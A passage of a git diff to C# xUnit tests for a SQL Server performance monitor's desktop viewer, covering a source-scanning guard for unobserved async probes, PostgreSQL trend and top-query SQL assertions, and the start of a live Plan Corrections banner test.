diff --git a/Darling/Darling.Tests/ViewerPostgresTabsTests.cs b/Darling/Darling.Tests/ViewerPostgresTabsTests.cs
index 16cb4763d8..fbc70364ef 100644
--- a/Darling/Darling.Tests/ViewerPostgresTabsTests.cs
+++ b/Darling/Darling.Tests/ViewerPostgresTabsTests.cs
@@ -237,7 +237,9 @@ public void NoSqlServerTabLoader_CallsAPostgresRead()
 
         foreach (var file in ViewerFiles("ViewerServerTab"))
         {
-            if (Path.GetFileName(file).Equals("ViewerServerTab.Postgres.cs", StringComparison.OrdinalIgnoreCase))
+            /* The PostgreSQL tab's own partial: its data-start probe helper (#4966) is a PostgreSQL read by design. */
+            if (Path.GetFileName(file).Equals("ViewerServerTab.Postgres.cs", StringComparison.OrdinalIgnoreCase)
+                || Path.GetFileName(file).Equals("ViewerServerTab.PostgresDataStart.cs", StringComparison.OrdinalIgnoreCase))
             {
                 continue;
             }
diff --git a/Darling/Darling.Tests/ViewerProbeWatchCensusTests.cs b/Darling/Darling.Tests/ViewerProbeWatchCensusTests.cs
new file mode 100644
index 0000000000..1108ab4799
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerProbeWatchCensusTests.cs
@@ -0,0 +1,160 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The census of the desktop viewer's data-start probes (#5022). A load that starts a <c>...DataStartAsync(</c> probe beside its read,
+/// then awaits the read before the probe, leaves the probe unobserved when the read throws; a probe that fails after that reaches
+/// <c>App.OnUnobservedTaskException</c> and is logged as an Error. <c>AwaitReadWatchingProbeAsync</c> prevents that, so every such
+/// read must be awaited through it. A new probe site that awaits its read bare fails here, naming the file and method.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ViewerProbeWatchCensusTests
+{
+    /// <summary>Methods that start a probe and await a read bare on purpose, as "file::method" with the reason.</summary>
+    private static readonly Dictionary<string, string> Allowed = new(StringComparer.Ordinal)
+    {
+        // None today: every site on dev routes its read through the helper. Add "File.cs::Method" => "why" for a justified exception.
+    };
+
+    private static readonly Regex MethodHeader = new(
+        @"^ {4,8}(?:(?:private|internal|public|protected|static|async|override|virtual)\s+)+[\w<>\[\],\.\(\)\? ]+?\s+(\w+)\s*(?:<[^>]*>)?\(",
+        RegexOptions.Multiline);
+
+    private static readonly Regex ProbeStart = new(
+        @"(?:\bvar|\bTask\s*<\s*DateTime\s*\?\s*>)\s+(\w+)\s*=\s*[^;]*?\.Get\w*(?:DataStart|WindowFloor)Async\(",
+        RegexOptions.Compiled);
+
+    /* "await DataStartOrNullAsync(" and its two siblings: removed from a line before the line is judged a read await. */
+    private static readonly Regex CatchingProbeAwait = new(
+        @"await\s+(?:DataStartOrNullAsync|DataStartAnswerAsync|ShowEventDataStartAsync)\(",
+        RegexOptions.Compiled);
+
+    private static string ViewerDir()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !Directory.Exists(Path.Combine(dir.FullName, "Darling", "PerformanceMonitor.Darling.Viewer")))
+            dir = dir.Parent;
+        Assert.NotNull(dir);
+        return Path.Combine(dir!.FullName, "Darling", "PerformanceMonitor.Darling.Viewer");
+    }
+
+    /// <summary>Every method that starts a probe and awaits a read bare before it awaits the probe, as "file::method".</summary>
+    internal static (List<string> Offenders, int Sites) Scan(IEnumerable<(string File, string Source)> files)
+    {
+        var offenders = new List<string>();
+        var sites = 0;
+        foreach (var (file, raw) in files)
+        {
+            /* Comments and string literals blanked, so an "await" or a probe name in prose cannot decide a site. */
+            var source = CSharpSourceWalker.StripCommentsAndStrings(raw);
+            var headers = MethodHeader.Matches(source).ToList();
+            for (var i = 0; i < headers.Count; i++)
+            {
+                var end = i + 1 < headers.Count ? headers[i + 1].Index : source.Length;
+                var body = source[headers[i].Index..end];
+                foreach (Match probe in ProbeStart.Matches(body))
+                {
+                    var name = probe.Groups[1].Value;
+
+                    /* The first await after this probe starts. If it is the helper, the read is watched. If it names the probe, the probe is
+                       awaited first (the banner step) and no read stood in front of it. Otherwise a read is awaited bare. */
+                    var after = body[(probe.Index + probe.Length)..];
+                    /* The catching probe helpers (DataStartOrNullAsync, DataStartAnswerAsync, ShowEventDataStartAsync) swallow every failure, so
+                       awaiting one is a probe await, not a read. One that names this probe ends the scan; one for another probe is skipped. */
+                    string? awaitLine = null;
+                    var probeAwaited = false;
+                    foreach (var line in after.Split('\n'))
+                    {
+                        if (!line.Contains("await ", StringComparison.Ordinal)) continue;
+                        var rest = CatchingProbeAwait.Replace(line, "");
+                        if (rest.Length != line.Length && Regex.IsMatch(line, @"\b" + name + @"\b") && !rest.Contains("await ", StringComparison.Ordinal))
+                        {
+                            probeAwaited = true;
+                            break;
+                        }
+                        if (!rest.Contains("await ", StringComparison.Ordinal)) continue;
+                        awaitLine = rest;
+                        break;
+                    }
+                    if (probeAwaited || awaitLine is null) continue;
+                    var watched = awaitLine.Contains("AwaitReadWatchingProbeAsync", StringComparison.Ordinal);
+                    if (!watched && Regex.IsMatch(awaitLine, @"\b" + name + @"\b")) continue;
+                    sites++;
+                    if (watched) continue;
+                    offenders.Add($"{file}::{headers[i].Groups[1].Value}");
+                }
+            }
+        }
+        return (offenders, sites);
+    }
+
+    private static List<(string File, string Source)> ViewerSources() =>
+        Directory.GetFiles(ViewerDir(), "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                     && !f.Contains($"{Path.DirectorySeparatorChar}bin{Path.DirectorySeparatorChar}", StringComparison.Ordinal))
+            .Select(f => (Path.GetFileName(f), File.ReadAllText(f)))
+            .ToList();
+
+    [Fact]
+    public void EveryViewerLoadThatStartsAProbeBesideARead_AwaitsTheReadThroughTheHelper()
+    {
+        var (offenders, _) = Scan(ViewerSources());
+        var bad = offenders.Where(o => !Allowed.ContainsKey(o)).ToList();
+        Assert.True(
+            bad.Count == 0,
+            "These viewer methods start a ...DataStartAsync probe and await a read bare, so a read that throws leaves the probe unobserved "
+            + "(an Error line in the log): route the read through AwaitReadWatchingProbeAsync, or allow-list the method with a reason: "
+            + string.Join(", ", bad));
+    }
+
+    [Fact]
+    public void TheCensusFindsTheProbeSitesItGuards()
+    {
+        /* A scan that matched nothing would pass forever: the viewer has two dozen such loads. */
+        var (_, sites) = Scan(ViewerSources());
+        Assert.True(sites >= 35, $"expected at least 35 probe-beside-read sites, found {sites}");
+    }
+
+    [Fact]
+    public void TheCensus_FlagsABareReadBesideAProbe_AndPassesAWatchedOne()
+    {
+        const string Bare = "public partial class T\n{\n    private async Task LoadXAsync()\n    {\n        var dataStartTask = _dataService.GetXDataStartAsync(1);\n        var rows = await _dataService.GetXAsync(1);\n        await ShowEventDataStartAsync(b, dataStartTask, \"X\");\n    }\n}\n";
+        const string Watched = "public partial class T\n{\n    private async Task LoadXAsync()\n    {\n        var dataStartTask = _dataService.GetXDataStartAsync(1);\n        var rowsTask = _dataService.GetXAsync(1);\n        await AwaitReadWatchingProbeAsync(rowsTask, dataStartTask, \"X\");\n        await ShowEventDataStartAsync(b, dataStartTask, \"X\");\n    }\n}\n";
+        Assert.Equal(new[] { "T.cs::LoadXAsync" }, Scan(new[] { ("T.cs", Bare) }).Offenders);
+        Assert.Empty(Scan(new[] { ("T.cs", Watched) }).Offenders);
+
+        /* The WindowFloor probe shape, typed rather than var, and a conditional start. */
+        const string BareFloor = "public partial class T\n{\n    private async Task LoadYAsync()\n    {\n        Task<DateTime?> floorTask = _dataService.GetYWindowFloorAsync(1);\n        var rows = await _dataService.GetYAsync(1);\n    }\n}\n";
+        const string BareConditional = "public partial class T\n{\n    private async Task LoadZAsync()\n    {\n        var floorTask = on ? _dataService.GetZDataStartAsync(1) : Task.FromResult<DateTime?>(null);\n        var rows = await _dataService.GetZAsync(1);\n    }\n}\n";
+        Assert.Equal(new[] { "T.cs::LoadYAsync" }, Scan(new[] { ("T.cs", BareFloor) }).Offenders);
+        Assert.Equal(new[] { "T.cs::LoadZAsync" }, Scan(new[] { ("T.cs", BareConditional) }).Offenders);
+
+        /* An await named only in a comment does not make a read look watched; every probe in a method is checked, not just the first. */
+        const string Commented = "public partial class T\n{\n    private async Task LoadWAsync()\n    {\n        var dataStartTask = _dataService.GetWDataStartAsync(1);\n        // await AwaitReadWatchingProbeAsync(rows, dataStartTask, \"W\");\n        var rows = await _dataService.GetWAsync(1);\n    }\n}\n";
+        Assert.Equal(new[] { "T.cs::LoadWAsync" }, Scan(new[] { ("T.cs", Commented) }).Offenders);
+        const string TwoProbes = "public partial class T\n{\n    private async Task LoadVAsync()\n    {\n        var aTask = _d.GetADataStartAsync(1);\n        var rA = _d.GetAAsync(1);\n        await AwaitReadWatchingProbeAsync(rA, aTask, \"A\");\n        var bTask = _d.GetBWindowFloorAsync(1);\n        var rows = await _d.GetBAsync(1);\n    }\n}\n";
+        Assert.Equal(new[] { "T.cs::LoadVAsync" }, Scan(new[] { ("T.cs", TwoProbes) }).Offenders);
+
+        /* The catching probe helpers swallow every failure, so awaiting them after a probe starts is not a bare read. */
+        const string TwoCatching = "public partial class T\n{\n    private async Task LoadUAsync()\n    {\n        var aTask = _d.GetADataStartAsync(1);\n        var bTask = _d.GetBDataStartAsync(1);\n        var latchStart = await DataStartOrNullAsync(aTask, \"A\");\n        var spinStart = await DataStartOrNullAsync(bTask, \"B\");\n    }\n}\n";
+        const string BannerForm = "public partial class T\n{\n    private async Task LoadTAsync()\n    {\n        var aTask = _d.GetADataStartAsync(1);\n        var bTask = _d.GetBWindowFloorAsync(1);\n        UpdateTruncationBanner(ABanner, await DataStartOrNullAsync(bTask, \"B\"), s);\n        UpdateTruncationBanner(BBanner, await DataStartOrNullAsync(aTask, \"A\"), s);\n    }\n}\n";
+        const string CatchingThenBare = "public partial class T\n{\n    private async Task LoadSAsync()\n    {\n        var aTask = _d.GetADataStartAsync(1);\n        var bTask = _d.GetBDataStartAsync(1);\n        var x = await DataStartOrNullAsync(bTask, \"B\");\n        var rows = await _d.GetAAsync(1);\n    }\n}\n";
+        Assert.Empty(Scan(new[] { ("T.cs", TwoCatching) }).Offenders);
+        Assert.Empty(Scan(new[] { ("T.cs", BannerForm) }).Offenders);
+        Assert.Equal(new[] { "T.cs::LoadSAsync" }, Scan(new[] { ("T.cs", CatchingThenBare) }).Offenders);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerQueriesRestTests.cs b/Darling/Darling.Tests/ViewerQueriesRestTests.cs
index 5adc6bcc4f..fa0a80accc 100644
--- a/Darling/Darling.Tests/ViewerQueriesRestTests.cs
+++ b/Darling/Darling.Tests/ViewerQueriesRestTests.cs
@@ -29,14 +29,14 @@ namespace Darling.Tests;
 public sealed class ViewerQueryTrendsSqlTests
 {
     /// <summary>
-    /// The three DELTA-based trends. Query Store is deliberately not here: its x-axis stopped being
+    /// The two query-stats DELTA-based trends (the procedure trend reads its seconds from the run axis and is pinned
+    /// by <see cref="ProcedureDurationTrendSql_RatesOverTheRunAxis_AndNeverFabricatesZero"/>). Query Store is deliberately not here: its x-axis stopped being
     /// collection_time in #1841 tier 2 (see <see cref="QueryStoreDurationTrend_PlacesWorkAtTheIntervalStart_WithALegacyArm"/>),
     /// so folding it into this theory would force the shared pins to be loosened for all four and the
     /// delta trends would stop being pinned to the axis they genuinely use.
     /// </summary>
     [Theory]
     [InlineData(nameof(ViewerDataService.QueryDurationTrendSql), "query_stats")]
-    [InlineData(nameof(ViewerDataService.ProcedureDurationTrendSql), "procedure_stats")]
     [InlineData(nameof(ViewerDataService.ExecutionCountTrendSql), "query_stats")]
     public void TrendSql_ComputesPerSecondRate_OverTheStoredInterval_BaseTable(string sqlName, string table)
     {
@@ -60,23 +60,35 @@ and the seconds-since-previous-snapshot LAG only where a pre-V128 collection rec
     }
 
     /// <summary>
-    /// #3540 (V128): the procedure trend reads the collection's STORED interval — MAX over the collection's
-    /// rows, 0 → NULL through NULLIF so a restart's marker collection drops rather than plotting 0.00 — and
-    /// falls back to the LAG derivation only for a pre-V128 collection (NULL). No ELSE 0 anywhere in it: the
-    /// rate is NULL when the interval is unknowable or absent and the reader drops the point. Its
-    /// query-stats siblings kept the LAG-only form until #3653 A11 (the residual #3540 reported rather than
-    /// rewrote); the theory above now pins all three to this read.
+    /// #5449 (after #3540 V128): the procedure trend's seconds are the gap to the previous point on the run axis (the
+    /// stored collections and the collector's SUCCESS runs, an idle run being a 0-work point), NULL past the delta
+    /// policy's 3600 s; the STORED interval is read only for the store's first collection. Three states, none a
+    /// fabricated zero: a stored collection whose rows ALL carry interval 0 is a restart and stays unrated (NULL); a
+    /// point with a previous point rates over the gap, capped at 3600 s; the first point rates over
+    /// <c>NULLIF(MAX(sample_interval_seconds), 0)</c>. No ELSE 0 anywhere in it: the rate is NULL when the seconds are
+    /// unknowable and the reader drops the point.
     /// </summary>
     [Fact]
-    public void ProcedureDurationTrendSql_PrefersTheStoredInterval_AndNeverFabricatesZero()
+    public void ProcedureDurationTrendSql_RatesOverTheRunAxis_AndNeverFabricatesZero()
     {
         var sql = ViewerDataService.ProcedureDurationTrendSql;
-        Assert.Contains("CASE WHEN MAX(sample_interval_seconds) IS NULL", sql, StringComparison.Ordinal);
-        Assert.Contains("ELSE NULLIF(MAX(sample_interval_seconds), 0)", sql, StringComparison.Ordinal);
-        Assert.Contains("THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM procedure_stats", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("v_procedure_stats", sql, StringComparison.Ordinal); /* viewer reads base tables */
+        Assert.Contains("MAX(sample_interval_seconds) AS max_interval_seconds", sql, StringComparison.Ordinal);
+        Assert.Contains("LAG(collection_time) OVER (ORDER BY collection_time)", sql, StringComparison.Ordinal);
+        Assert.Contains("extract(epoch FROM", sql, StringComparison.Ordinal);
+        Assert.Contains("date_trunc('second', collection_time)", sql, StringComparison.Ordinal);
+        /* The three states of the seconds, in order: restart (stored, MAX 0) -> NULL; a previous point -> the gap, capped
+           at the delta policy's 3600 s (past it NULL); the store's first collection -> the stored interval, 0 -> NULL. */
+        Assert.Contains("CASE WHEN is_stored AND max_interval_seconds = 0 THEN NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("WHEN gap_seconds IS NOT NULL THEN CASE WHEN gap_seconds <= 3600 THEN gap_seconds END", sql, StringComparison.Ordinal);
+        Assert.Contains("WHEN is_stored THEN NULLIF(max_interval_seconds, 0)", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("ELSE 0", sql, StringComparison.Ordinal);
+        /* The rates divide only where the seconds are known: no ELSE, so NULL, not a fabricated 0. */
         Assert.Contains("CASE WHEN interval_seconds > 0 THEN total_elapsed_ms / interval_seconds END AS elapsed_ms_per_second", sql, StringComparison.Ordinal);
         Assert.Contains("CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second", sql, StringComparison.Ordinal);
+        Assert.Contains("GROUP BY collection_time", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY 1", sql, StringComparison.Ordinal);
 
         /* And the shared reader DROPS a NULL-rate row rather than reading it as 0 — the C# half of the idiom.
            #3653: one loop (ReadTrendPointsAsync) serves every trend here, including the execution-count one
@@ -108,8 +120,11 @@ public void QueryStoreDurationTrendSql_FirstPlacedInterval_IsUnrated_NotZero()
     [Fact]
     public void DurationTrendSql_SumsElapsedMs_ExecutionTrendSql_OnlyExecutions()
     {
-        Assert.Contains("SUM(delta_elapsed_time) / 1000.0", ViewerDataService.QueryDurationTrendSql, StringComparison.Ordinal);
-        Assert.Contains("SUM(delta_elapsed_time) / 1000.0", ViewerDataService.ProcedureDurationTrendSql, StringComparison.Ordinal);
+        /* #5414 M1: the viewer's database filter sits inside the aggregate, so a collection the chosen database had no
+           rows in still counts its seconds. */
+        const string filteredElapsed = "COALESCE(SUM(delta_elapsed_time) FILTER (WHERE $4::text[] IS NULL OR database_name = ANY($4)), 0) / 1000.0";
+        Assert.Contains(filteredElapsed, ViewerDataService.QueryDurationTrendSql, StringComparison.Ordinal);
+        Assert.Contains(filteredElapsed, ViewerDataService.ProcedureDurationTrendSql, StringComparison.Ordinal);
         /* Query Store has no delta_elapsed_time: duration = execution_count * avg_duration_us. */
         Assert.Contains("SUM(execution_count * avg_duration_us / 1000.0)", ViewerDataService.QueryStoreDurationTrendSql, StringComparison.Ordinal);
         /* The execution-count trend projects only the executions/sec column (no elapsed). */
diff --git a/Darling/Darling.Tests/ViewerQueriesTests.cs b/Darling/Darling.Tests/ViewerQueriesTests.cs
index b96394ae2b..0a031ab91f 100644
--- a/Darling/Darling.Tests/ViewerQueriesTests.cs
+++ b/Darling/Darling.Tests/ViewerQueriesTests.cs
@@ -46,11 +46,15 @@ evaluate the presence flag (it can drop an unreferenced unique join, but the vie
            what resolves the payload dimension. Note "FROM v_query_stats" does not contain
            "FROM query_stats", so these two assertions really are about two different relations. */
         var rankedRead = sql.IndexOf("FROM query_stats", StringComparison.Ordinal);
-        var lateral = sql.IndexOf("LEFT JOIN LATERAL", StringComparison.Ordinal);
-        var textRead = sql.IndexOf("FROM v_query_stats", StringComparison.Ordinal);
+        var lookupAt = sql.IndexOf("latest_text AS MATERIALIZED (", StringComparison.Ordinal);
+        var dimRead = sql.IndexOf("query_text_dim", StringComparison.Ordinal);
         Assert.True(rankedRead >= 0, "the ranked CTE must aggregate the base query_stats table");
-        Assert.True(textRead > lateral && lateral > rankedRead,
-            "the base-table aggregate comes first; the resolving view is read by the latest-text LATERAL");
+        /* #5309: the text is ONE lookup for every ranked group; it resolves the dimension itself (what
+           v_query_stats' COALESCE does) for the newest row of each group only. */
+        Assert.DoesNotContain("LATERAL", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("FROM v_query_stats", sql, StringComparison.Ordinal);
+        Assert.True(dimRead > lookupAt && lookupAt > rankedRead,
+            "the base-table aggregate comes first; the dimension is read by the one latest-text lookup");
 
         Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
         Assert.Contains("collection_time >= $2", sql, StringComparison.Ordinal);
@@ -61,6 +65,7 @@ still collapse. The LATERAL's host constraint keeps each group's representative
            another caller's rows (NOT DISTINCT FROM so ad-hoc NULL hosts still match ad-hoc rows). */
         Assert.Contains("GROUP BY database_name, query_hash, host_object_name", sql, StringComparison.Ordinal);
         Assert.Contains("host_object_name IS NOT DISTINCT FROM r.host_object_name", sql, StringComparison.Ordinal);
+        Assert.Contains("q.host_object_name IS NOT DISTINCT FROM rk.host_object_name", sql, StringComparison.Ordinal);
         Assert.Contains("HAVING SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0", sql, StringComparison.Ordinal);
     }
 
@@ -69,7 +74,9 @@ public void TopQueriesSql_RanksByTotalElapsedDelta_OverFetchesFive_CapsAtTop()
     {
         var sql = ViewerDataService.TopQueriesSql;
         Assert.Contains("ORDER BY SUM(delta_elapsed_time) DESC", sql, StringComparison.Ordinal);
-        Assert.Contains("LIMIT $4 + 5", sql, StringComparison.Ordinal); /* over-fetch so the WAITFOR trim can't shrink below top */
+        /* #5313: the over-fetch is the candidate limit $6 (top + 5 first, TopFill refills while the page is short). */
+        Assert.Contains("LIMIT $6", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("+ 5", sql, StringComparison.Ordinal);
         Assert.Contains("ORDER BY r.total_elapsed_us DESC", sql, StringComparison.Ordinal);
         Assert.Contains("LIMIT $4", sql, StringComparison.Ordinal);
         Assert.Contains("NOT LIKE 'WAITFOR%'", sql, StringComparison.Ordinal);
@@ -79,15 +86,16 @@ public void TopQueriesSql_RanksByTotalElapsedDelta_OverFetchesFive_CapsAtTop()
     public void TopQueriesSql_FetchesTheLatestNonNullQueryText_ViaLateralJoin_WithPlanPresenceFlag()
     {
         var sql = ViewerDataService.TopQueriesSql;
-        Assert.Contains("LEFT JOIN LATERAL", sql, StringComparison.Ordinal);
-        Assert.Contains("query_text IS NOT NULL", sql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY collection_time DESC", sql, StringComparison.Ordinal);
-        Assert.Contains("LIMIT 1", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LEFT JOIN LATERAL", sql, StringComparison.Ordinal);   /* #5309: one lookup, not one per row */
+        Assert.Contains("q.query_text IS NOT NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("q.collection_time DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("DISTINCT ON (q.database_name, q.query_hash, q.host_object_name)", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LIMIT 1", sql, StringComparison.Ordinal);
         /* The LATERAL still fetches only query_text (never the multi-KB plan), and it reads v_query_stats so
            the #1767 payload dimension is resolved — the base table's inline query_text is NULL on every row
            written since. The plan is surfaced by a cheap group-level presence flag that gates the grid's
            Query Plan column; the plan XML itself is read on demand (GetQueryStatsPlanXmlAsync). */
-        Assert.Contains("FROM v_query_stats", sql, StringComparison.Ordinal);
+        Assert.Contains("JOIN query_text_dim AS d ON d.digest = l.query_text_digest", sql, StringComparison.Ordinal);
 
         /* The flag now has a digest arm: since #1767 the plan lives in query_plan_dim and the fact row
            carries only the key, so a bare `query_plan_xml IS NOT NULL` would report "no plan captured" for
@@ -127,7 +135,9 @@ public void TopQueriesSql_DropsLitesStalenessFilterAndUtcOffset()
         /* #1319: $5 is now the global database filter (database_name = ANY($5)), NOT Lite's utc-offset
            staleness param — the viewer still drops Lite's INTERVAL staleness filter. */
         Assert.Contains("database_name = ANY($5)", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("$6", sql, StringComparison.Ordinal);
+        /* #5313: $6 is the candidate limit now (top + 5 first, refilled), still not an offset or staleness parameter. */
+        Assert.Contains("LIMIT $6", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$7", sql, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -186,9 +196,10 @@ public void QueryStoreTopSql_GroupsByQueryAndPlan_RanksByTotalDuration_BaseTable
            reason: Regular, Aborted and Exception executions of one plan are separate runtime-stats rows. */
         Assert.Contains("GROUP BY database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("MAX(execution_type_desc)", sql, StringComparison.Ordinal);
-        /* Rank by total duration = executions * avg duration, over-fetch 5, cap at top (Lite's shape). */
+        /* Rank by total duration = executions * avg duration, candidate limit (top + 5 on the first round, #5313), cap at top (Lite's shape). */
         Assert.Contains("ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS double precision)) DESC", sql, StringComparison.Ordinal);
-        Assert.Contains("LIMIT $4 + 5", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT $6", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("+ 5", sql, StringComparison.Ordinal);
         Assert.Contains("ORDER BY r.total_executions * r.avg_duration_ms DESC", sql, StringComparison.Ordinal);
         Assert.Contains("LIMIT $4", sql, StringComparison.Ordinal);
         Assert.Contains("NOT LIKE 'WAITFOR%'", sql, StringComparison.Ordinal);
@@ -260,10 +271,10 @@ public void QueryStoreTopSql_KeepsReplicaRoleInTheDedupKey_BecauseItGroupsOnIt()
     // ── Comparisons ──
 
     [Theory]
-    [InlineData(nameof(ViewerDataService.QueryStatsComparisonSql), "query_stats", "GROUP BY th.database_name, th.query_hash")]
-    [InlineData(nameof(ViewerDataService.QueryStoreComparisonSql), "query_store_stats", "GROUP BY th.database_name, th.query_hash")]
-    [InlineData(nameof(ViewerDataService.ProcedureStatsComparisonSql), "procedure_stats", "GROUP BY tp.database_name, tp.schema_name, tp.object_name")]
-    public void ComparisonSql_UnionsTop100_FullOuterJoins_NullSafe(string sqlName, string table, string finalGroupBy)
+    [InlineData(nameof(ViewerDataService.QueryStatsComparisonSql), "query_stats", "th", "database_name,query_hash")]
+    [InlineData(nameof(ViewerDataService.QueryStoreComparisonSql), "query_store_stats", "th", "database_name,query_hash")]
+    [InlineData(nameof(ViewerDataService.ProcedureStatsComparisonSql), "procedure_stats", "tp", "database_name,schema_name,object_name")]
+    public void ComparisonSql_UnionsTop100_FullOuterJoins_NullSafe(string sqlName, string table, string topAlias, string keyColumns)
     {
         var sql = SqlByName(sqlName);
         Assert.Contains($"FROM {table}", sql, StringComparison.Ordinal);
@@ -271,11 +282,34 @@ public void ComparisonSql_UnionsTop100_FullOuterJoins_NullSafe(string sqlName, s
         Assert.Contains("LIMIT 100", sql, StringComparison.Ordinal);
         Assert.Contains("UNION ALL", sql, StringComparison.Ordinal);
         Assert.Contains("FULL OUTER JOIN baseline_period b", sql, StringComparison.Ordinal);
-        /* The CTE INNER JOINs keep Lite's null-safe IS NOT DISTINCT FROM (legal in a PG inner join)... */
-        Assert.Contains("IS NOT DISTINCT FROM", sql, StringComparison.Ordinal);
-        /* ...but the FULL JOIN must be COALESCE-equality — PG can't FULL-JOIN on IS NOT DISTINCT FROM. */
-        Assert.Contains("COALESCE(c.database_name, '') = COALESCE(b.database_name, '')", sql, StringComparison.Ordinal);
-        Assert.Contains(finalGroupBy, sql, StringComparison.Ordinal);
+        /* #5420: the period joins are null-safe the hashable way, a COALESCE equality plus an IS NULL pair, because
+           IS NOT DISTINCT FROM ran as a nested loop over every window row (ViewerTextLookupWindowBoundLiveTests pins the plan)... */
+        foreach (var key in keyColumns.Split(','))
+        {
+            /* both halves of EVERY key column, in both periods' text join: a dropped IS NULL pair makes a NULL key and an empty
+               one meet, and the COALESCE half alone cannot tell them apart. */
+            Assert.Equal(2, CountOf(sql, $"COALESCE(w.{key}, '') = COALESCE({topAlias}.{key}, '')"));
+            Assert.Equal(2, CountOf(sql, $"(w.{key} IS NULL) = ({topAlias}.{key} IS NULL)"));
+        }
+        /* ...and the FULL JOIN must be COALESCE-equality plus the IS NULL pair, on EVERY key column — PG can't FULL-JOIN on
+           IS NOT DISTINCT FROM, and a COALESCE alone would merge a NULL-key group with its empty-key twin and fan a row out (#5420).
+           Both halves are one-side equalities, so the join stays hashable. Counted once each, so a dropped half fails. */
+        foreach (var key in keyColumns.Split(','))
+        {
+            Assert.Equal(1, CountOf(sql, $"COALESCE(c.{key}, '') = COALESCE(b.{key}, '')"));
+            Assert.Equal(1, CountOf(sql, $"(c.{key} IS NULL) = (b.{key} IS NULL)"));
+        }
+    }
+
+    private static int CountOf(string text, string part)
+    {
+        var count = 0;
+        for (var at = text.IndexOf(part, StringComparison.Ordinal); at >= 0; at = text.IndexOf(part, at + part.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/ViewerQueryGridsDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerQueryGridsDataStartLiveTests.cs
new file mode 100644
index 0000000000..5f78fd171e
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerQueryGridsDataStartLiveTests.cs
@@ -0,0 +1,569 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Runtime.ExceptionServices;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Plan Corrections grid against a real store (#4966). The read windows on <c>collection_time</c> and
+/// keeps the newest 200 rows, and <c>plan_correction</c> has a schedule edge, so the probe's coverage is the later of the server's
+/// first collection (the registry's created date) and the table's retention edge, moved earlier by a row in the range. The
+/// notice names the earlier of that coverage and the earliest row the grid shows, and a read that returned a full page names its
+/// oldest row, since the grid reaches back no further. Each case runs the same two calls the server tab makes (the grid's rows,
+/// the data-start probe) and then the tab's own banner step (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>) on a real
+/// banner control, and reads what the banner says.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the process-wide
+   display mode, which QueryGridSeed.ReadBanner sets and restores; the viewer-time-statics collection serializes that with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerPlanCorrectionsDataStartLiveTests
+{
+    private const int NewServerId = -496631;
+    private const int QuietServerId = -496632;
+    private const int FullPageServerId = -496633;
+    private const int PastTheCapServerId = -496634;
+    private const int UnderTheCapServerId = -496635;
+
+    private const int Cap = ViewerDataService.PlanCorrectionsRowCap;
+
+    /* Rows start inside the range: the server was added 2 days ago, and its first recommendation was collected a day later. The
+       notice reads back the coverage start, the day the server was added. */
+    [Fact]
+    public async Task RowsThatStartInsideTheRange_GiveANotice_AtTheCoverageStart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, shown) = await store.ReadAsync(NewServerId, ct);
+
+        Assert.NotEmpty(shown);
+        Assert.Equal(store.End.AddDays(-2), coverage);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-2)), Banner(store, coverage, shown));
+    }
